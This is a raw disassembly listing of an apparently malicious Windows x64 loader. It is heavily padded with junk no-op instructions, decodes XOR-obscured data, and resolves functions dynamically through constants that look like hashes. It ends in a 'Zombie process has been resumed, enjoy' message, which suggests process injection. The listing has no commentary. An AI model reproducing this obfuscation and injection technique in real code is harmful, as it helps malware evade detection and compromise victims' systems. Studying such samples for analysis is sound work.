or rcx, rcx
or rcx, 0
mov rcx, rcx
sub rcx, 0
sub rcx, 0
xor rcx, 0
xor rcx, 0
xchg rcx, rcx
or rcx, rcx
xor rcx, 0
or rcx, 0
xchg rcx, rcx
or rcx, rcx
xor rcx, 0
xor rcx, 0
xor rcx, 0
xor rcx, 0
or rcx, rcx
xchg rcx, rcx
or rcx, 0
xor rcx, 0
cmp byte [rsp + 0x9c], 0
je 0x14000a14b
or rcx, 0
or rcx, 0
xor rcx, 0
or rcx, rcx
xchg rcx, rcx
or rcx, 0
or rcx, rcx
mov rcx, rcx
mov rcx, rcx
mov rcx, rcx
add rcx, 0
xor rcx, 0
or rcx, rcx
add rcx, 0
nop
or rcx, rcx
mov rcx, rcx
xor rcx, 0
or rcx, 0
mov edi, 0x10
jmp 0x14000a18f
or rax, 0
or rax, rax
xor rax, 0
sub rax, 0
xor rax, 0
add rax, 0
mov rax, rax
nop
or rax, 0
xor rax, 0
or rax, rax
sub rax, 0
nop
sub rax, 0
nop
add rax, 0
add rax, 0
or rax, rax
sub rax, 0
or rax, 0
or rax, 0
or rax, rax
sub rax, 0
mov rax, rax
nop
xor rax, 0
xor rax, 0
xor rax, 0
or rax, rax
sub rax, 0
xor rax, 0
nop
mov rax, rax
mov rax, rax
mov rax, rax
xor rax, 0
sub rax, 0
nop
nop
sub rax, 0
jmp 0x14000a4ae
xor rcx, 0
xchg rcx, rcx
nop
nop
nop
mov rcx, rcx
add rcx, 0
xchg rcx, rcx
or rcx, rcx
mov rcx, rcx
xchg rcx, rcx
mov rcx, rcx
or rcx, rcx
add rcx, 0
xchg rcx, rcx
xchg rcx, rcx
mov rcx, rcx
mov rcx, rcx
xor rcx, 0
or rcx, 0
or rcx, rcx
nop
mov edi, 8
or rcx, rcx
add rcx, 0
xchg rcx, rcx
or rcx, rcx
add rcx, 0
or rcx, rcx
xor rcx, 0
or rcx, rcx
sub rcx, 0
xchg rcx, rcx
sub rcx, 0
xchg rcx, rcx
or rcx, rcx
or rcx, 0
or rcx, rcx
or rcx, 0
or rcx, 0
add rcx, 0
sub rcx, 0
sub rcx, 0
xor rcx, 0
nop
add rcx, 0
or rcx, rcx
xchg rcx, rcx
add rcx, 0
mov rcx, rcx
cmp byte [rsp + 0x9c], 0
je 0x14000a219
or rcx, rcx
xor rcx, 0
mov rcx, rcx
add rcx, 0
mov rcx, rcx
xor rcx, 0
or rcx, rcx
or rcx, rcx
mov r14d, 8
jmp 0x14000a230
xor rcx, 0
add rcx, 0
mov rcx, rcx
xchg rcx, rcx
or rcx, rcx
mov r14d, 4
xor rcx, 0
xor rcx, 0
or rcx, rcx
or rcx, 0
xor rcx, 0
add rcx, 0
or rcx, 0
nop
sub rcx, 0
add rcx, 0
or rcx, 0
sub rcx, 0
add rcx, 0
or rcx, 0
xor rcx, 0
xchg rcx, rcx
add rcx, 0
add rcx, 0
xchg rcx, rcx
nop
sub rcx, 0
xor rcx, 0
add rcx, 0
add rcx, 0
sub rcx, 0
xchg rcx, rcx
nop
sub rcx, 0
add rcx, 0
mov qword [rsp + 0x90], r15
mov rcx, rcx
xor rcx, 0
add rcx, 0
or rcx, 0
mov rcx, rcx
xchg rcx, rcx
nop
mov rcx, rcx
add rcx, 0
sub rcx, 0
mov rcx, rcx
or rcx, rcx
xchg rcx, rcx
xchg rcx, rcx
and qword [rsp + 0xa0], 0
add rdi, rax
xor rax, 0
sub rax, 0
or rax, rax
or rax, rax
or rax, rax
sub rax, 0
or rax, rax
add rax, 0
or rax, rax
sub rax, 0
or rax, 0
xor rax, 0
or rax, rax
add rax, 0
call fcn.1400041ed
mov rsi, rax
lea rax, [0x140013ea0]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1d0]
movabs rdx, 0x2883e5e0c78e0260
mov qword [rsp + 0x1d0], rdx
mov rdx, qword [rsp + 0x1d0]
call fcn.140002dc0
movaps xmmword [rsp + 0x1d0], xmm6
xor ecx, ecx
lea r8, [0x14001bb0b]
cmp rcx, 0xf
ja 0x14000a37d
mov rdx, qword [rcx + r8]
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], rdx
add rcx, 8
jmp 0x14000a361
movzx eax, word [rax + 0x10]
xor eax, 0xe7e3
movaps xmm0, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x70], ax
mov rdx, qword [rsi]
mov r9d, 0x12
lea rcx, [rsp + 0x1d0]
lea r8, [rsp + 0x60]
call fcn.140003e69
cmp byte [rsp + 0x1d0], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x1d8]
or rcx, rcx
nop
mov rcx, rcx
add rcx, 0
or rcx, 0
or rcx, rcx
xor rcx, 0
nop
add rcx, 0
xchg rcx, rcx
or rcx, rcx
add rcx, 0
sub rcx, 0
sub rcx, 0
sub rcx, 0
xor rcx, 0
mov rcx, qword [rsp + 0xc0]
lea rdx, [rsp + 0xa0]
mov qword [rsp + 0x20], rdx
mov rdx, rdi
lea r8, [rsp + 0x90]
mov r9, r14
call rax
test eax, eax
je 0x14000a476
sub rax, 0
mov rax, rax
mov rax, rax
nop
xor rax, 0
or rax, rax
xor rax, 0
nop
or rax, 0
add rax, 0
mov rax, rax
nop
or rax, rax
nop
or rax, 0
sub rax, 0
or rax, rax
nop
xor rax, 0
nop
mov rax, rax
xor rax, 0
mov rax, rax
nop
or rax, 0
sub rax, 0
xor ebp, ebp
jmp 0x14000a4b1
add rax, 0
xor rax, 0
nop
nop
nop
or rax, 0
or rax, rax
mov rax, rax
add rax, 0
mov rax, rax
or rax, rax
mov rax, rax
or rax, rax
or rax, 0
nop
or rax, rax
or rax, rax
or rax, 0
or rax, 0
mov bpl, 1
lea r13, [rsp + 0xe0]
lea rbx, [rsp + 0x1d0]
lea rsi, [0x140010096]
movabs r15, 0x7e190b1b1fbcbdf5
lea r12, [rsp + 0x60]
xor rax, 0
or rax, rax
nop
or rax, 0
or rax, 0
or rax, rax
or rax, rax
add rax, 0
nop
nop
or rax, rax
sub rax, 0
mov rax, rax
nop
mov rax, rax
mov rax, rax
mov rax, rax
or rax, 0
mov rax, rax
or rax, rax
nop
sub rax, 0
or rax, rax
or rax, rax
test bpl, bpl
je 0x14000a6a4
mov rdi, qword [rsp + 0xc0]
cmp rdi, 0xffffffffffffffff
je 0x14000a6a4
nop
or rax, 0
sub rax, 0
nop
sub rax, 0
nop
xor rax, 0
add rax, 0
add rax, 0
nop
add rax, 0
add rax, 0
or rax, rax
add rax, 0
xor rax, 0
mov rax, rax
mov rax, rax
nop
or rax, 0
nop
or rax, rax
mov rax, rax
sub rax, 0
or rax, rax
or rax, rax
mov rax, rax
mov rax, rax
sub rax, 0
add rax, 0
xor rax, 0
mov rax, rax
xor rax, 0
sub rax, 0
nop
or rax, rax
sub rax, 0
mov rax, rax
mov rax, rax
or rax, 0
nop
nop
call fcn.1400041ed
mov rsi, rax
lea rax, [0x14000dc4b]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0x2bf58954bc4465e8
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.1400030db
movaps xmmword [rsp + 0x1d0], xmm6
xor ecx, ecx
lea r8, [0x14001bb80]
cmp rcx, 0xf
ja 0x14000a61e
mov rdx, qword [rcx + r8]
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], rdx
add rcx, 8
jmp 0x14000a602
movaps xmm0, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x60], xmm0
mov rdx, qword [rsi]
mov r9d, 0x10
lea rbx, [rsp + 0x1d0]
mov rcx, rbx
lea r12, [rsp + 0x60]
mov r8, r12
call fcn.140003e69
cmp byte [rsp + 0x1d0], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x1d8]
add rcx, 0
add rcx, 0
nop
mov rcx, rcx
or rcx, rcx
sub rcx, 0
xor rcx, 0
or rcx, 0
or rcx, 0
mov rcx, rcx
mov rcx, rdi
xor edx, edx
call rax
lea r13, [rsp + 0xe0]
lea rsi, [0x140010096]
movabs r15, 0x7e190b1b1fbcbdf5
sub rax, 0
xor rax, 0
add rax, 0
or rax, rax
sub rax, 0
sub rax, 0
nop
xor rax, 0
add rax, 0
nop
add rax, 0
or rax, rax
or rax, rax
or rax, 0
sub rax, 0
sub rax, 0
nop
sub rax, 0
xor rax, 0
add rax, 0
sub rax, 0
or rax, 0
or rax, 0
test bpl, bpl
jne 0x14000a920
mov rdi, qword [rsp + 0xc8]
test rdi, rdi
je 0x14000a920
nop
or rax, 0
or rax, 0
or rax, rax
or rax, rax
mov rax, rax
mov rax, rax
xor rax, 0
or rax, 0
mov rax, rax
sub rax, 0
call fcn.1400041ed
mov r14, rax
lea rax, [0x14000bc9e]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0x7f8d56480469ef80
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.1400030c1
and dword [rsp + 0x1d8], 0
and qword [rsp + 0x1d0], 0
mov dl, 1
xor ecx, ecx
lea r13, [0x14001b838]
test dl, 1
je 0x14000a837
movzx r8d, byte [rcx + r13]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r13]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r13]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r13]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r13]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r13]
mov rbx, rcx
or rbx, 6
mov r12, rcx
or r12, 7
movzx r15d, byte [rbx + r13]
movzx ebx, byte [r12 + r13]
shl rbx, 0x38
shl r15, 0x30
or r15, rbx
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, r15
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], rdx
mov ecx, 8
xor edx, edx
jmp 0x14000a78c
mov ecx, 8
cmp rcx, 0xb
ja 0x14000a869
movzx edx, byte [rcx + r13 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r13]
add edx, r8d
add edx, 0x1d000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x1d0], edx
add rcx, 4
jmp 0x14000a83c
mov eax, dword [rsp + 0x1d8]
mov dword [rsp + 0x68], eax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x60], rax
mov rdx, qword [r14]
mov r9d, 0xc
lea rcx, [rsp + 0x1d0]
lea r8, [rsp + 0x60]
call fcn.140003e69
cmp byte [rsp + 0x1d0], 0
jne 0x14000ab17
mov rcx, rdi
call qword [rsp + 0x1d8]
cmp eax, 0xffffffff
jne 0x14000a9c4
xor rax, 0
sub rax, 0
or rax, rax
add rax, 0
xor rax, 0
mov rax, rax
nop
nop
nop
or rax, rax
xor rax, 0
nop
nop
mov rax, rax
nop
or rax, 0
xor rax, 0
or rax, 0
xor rax, 0
or rax, rax
or rax, 0
lea r13, [rsp + 0xe0]
lea rbx, [rsp + 0x1d0]
lea rsi, [0x140010096]
movabs r15, 0x7e190b1b1fbcbdf5
lea r12, [rsp + 0x60]
add rax, 0
nop
or rax, rax
mov rax, rax
mov rax, rax
or rax, 0
add rax, 0
or rax, rax
mov rax, rax
sub rax, 0
or rax, 0
or rax, 0
nop
add rax, 0
sub rax, 0
nop
xor rax, 0
or rax, rax
nop
sub rax, 0
nop
add rax, 0
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x130]
call fcn.14000addf
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xe8]
call fcn.14000addf
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x138]
call fcn.14000addf
lea rdi, [rsp + 0x90]
jmp 0x140005b86
mov rsi, qword [rsp + 0xad9d0]
mov r8, qword [rsp + 0xad9e0]
jmp 0x140005466
nop
or rax, rax
mov rax, rax
or rax, 0
or rax, 0
add rax, 0
sub rax, 0
nop
nop
add rax, 0
or rax, rax
mov rax, rax
or rax, 0
sub rax, 0
mov rax, rax
mov rax, rax
nop
add rax, 0
or rax, 0
xor rax, 0
lea rax, str.___Zombie_process_has_been_resumed__enjoy__n
lea rcx, [rsp + 0x1d0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x140176d40]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.1400173eb
mov rax, rax
sub rax, 0
nop
or rax, rax
add rax, 0
or rax, 0
add rax, 0
nop
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x130]
call fcn.14000addf
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xe8]
call fcn.14000addf
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x138]
call fcn.14000addf
sub rax, 0
nop
or rax, rax
mov rax, rax
sub rax, 0
xor rax, 0
or rax, 0
or rax, rax
or rax, rax
mov rax, rax
mov rax, rax
sub rax, 0
sub rax, 0
add rax, 0
nop
or rax, rax
or rax, 0
mov rax, rax
nop
or rax, rax
or rax, rax
or rax, rax
nop
nop
mov rax, rax
sub rax, 0
mov rsi, qword [rsp + 0x140]
mov rcx, rsi
mov rdx, qword [rsp + 0x160]
call fcn.1400033e7
mov rcx, rsi
mov rdx, qword [rsp + 0x190]
call fcn.14000addf
lea rcx, [rsp + 0x168]
call fcn.140001fa5
jmp 0x1400043c5
cmp qword [rsp + 0x68], 0
ud2